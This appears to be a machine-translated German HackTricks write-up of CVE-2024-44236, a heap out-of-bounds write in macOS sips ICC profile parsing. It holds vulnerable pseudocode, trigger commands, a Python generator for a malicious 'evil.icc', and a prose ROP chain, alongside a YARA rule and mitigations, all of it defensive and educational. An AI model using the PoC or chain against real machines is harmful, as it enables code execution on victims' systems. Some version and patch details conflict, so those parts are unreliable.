WWW2Exec - sips ICC-Profil Out-of-Bounds Write (CVE-2024-44236)
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Übersicht
Eine Out-of-Bounds Zero-Write-Schwachstelle im ICC-Profil-Parser des Scriptable Image Processing System (sips
) von Apple macOS (macOS 15.0.1, sips-307
) ermöglicht es einem Angreifer, Heap-Metadaten zu beschädigen und die primitive Ausführung in vollständige Codeausführung zu pivotieren. Der Fehler befindet sich in der Verarbeitung des offsetToCLUT
-Feldes der lutAToBType
(mAB
) und lutBToAType
(mBA
) Tags. Wenn Angreifer offsetToCLUT == tagDataSize
setzen, löscht der Parser 16 Bytes über das Ende des Heap-Puffers hinaus. Heap-Spraying ermöglicht es dem Angreifer, Allokatorstrukturen oder C++-Zeiger auf Null zu setzen, die später dereferenziert werden, was eine arbitrary-write-to-exec-Kette ergibt (CVE-2024-44236, CVSS 7.8).
Apple hat den Fehler in macOS Sonoma 15.2 / Ventura 14.7.1 (30. Oktober 2024) gepatcht. Eine zweite Variante (CVE-2025-24185) wurde am 1. April 2025 in macOS 15.5 und iOS/iPadOS 18.5 behoben.
Verwundbarer Code
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Exploitation Steps
- Erstellen Sie ein bösartiges
.icc
-Profil
- Richten Sie einen minimalen ICC-Header (
acsp
) ein und fügen Sie einenmAB
(odermBA
) Tag hinzu. - Konfigurieren Sie die Tag-Tabelle so, dass der
offsetToCLUT
der Tag-Größe (tagDataSize
) entspricht. - Platzieren Sie von Angreifern kontrollierte Daten direkt nach dem Tag, sodass die 16 Nullschreibvorgänge die Metadaten des Allokators überschreiben.
- Auslösen des Parsings mit einer beliebigen sips-Operation, die das Profil berührt
# Verifizierungspfad (keine Ausgabedatei erforderlich)
sips --verifyColor evil.icc
# oder implizit beim Konvertieren von Bildern, die das Profil einbetten
sips -s format png payload.jpg --out out.png
- Heap-Metadaten-Korruption ➜ willkürliches Schreiben ➜ ROP
Im standardmäßigen
nano_zone
-Allokator von Apple leben die Metadaten für 16-Byte-Slots unmittelbar nach dem ausgerichteten 0x1000-Slab. Indem das Tag des Profils am Ende eines solchen Slabs platziert wird, überschreiben die 16 Nullschreibvorgängemeta->slot_B
. Nach einem anschließendenfree
wird der vergiftete Zeiger in die kleine Freiliste eingereiht, wodurch der Angreifer ein gefälschtes Objekt an einer beliebigen Adresse allokieren und einen C++-vtable-Zeiger, der von sips verwendet wird, überschreiben kann, wodurch die Ausführung schließlich zu einer ROP-Kette wechselt, die im bösartigen ICC-Puffer gespeichert ist.
Schneller PoC-Generator (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
YARA-Erkennungsregel
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Auswirkungen
Das Öffnen oder Verarbeiten eines manipulierten ICC-Profils führt zu einer remote willkürlichen Codeausführung im Kontext des aufrufenden Benutzers (Vorschau, QuickLook, Safari-Bilddarstellung, Mail-Anhänge usw.), wodurch Gatekeeper umgangen wird, da das Profil in ansonsten harmlosen Bildern (PNG/JPEG/TIFF) eingebettet werden kann.
Erkennung & Minderung
- Patch! Stellen Sie sicher, dass der Host macOS ≥ 15.2 / 14.7.1 (oder iOS/iPadOS ≥ 18.1) ausführt.
- Setzen Sie die oben genannte YARA-Regel an E-Mail-Gateways und EDR-Lösungen ein.
- Entfernen oder bereinigen Sie eingebettete ICC-Profile mit
exiftool -icc_profile= -overwrite_original <file>
vor der weiteren Verarbeitung von nicht vertrauenswürdigen Dateien. - Härtung von Vorschau/QuickLook, indem Sie sie in sandboxed „Transparenz & Modernisierung“ VMs ausführen, wenn Sie unbekannte Inhalte analysieren.
- Für DFIR suchen Sie nach der kürzlichen Ausführung von
sips --verifyColor
oderColorSync
-Bibliotheksladungen durch sandboxed Apps im einheitlichen Protokoll.
Referenzen
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple-Sicherheitsupdates HT213981 “Über den Sicherheitsinhalt von macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.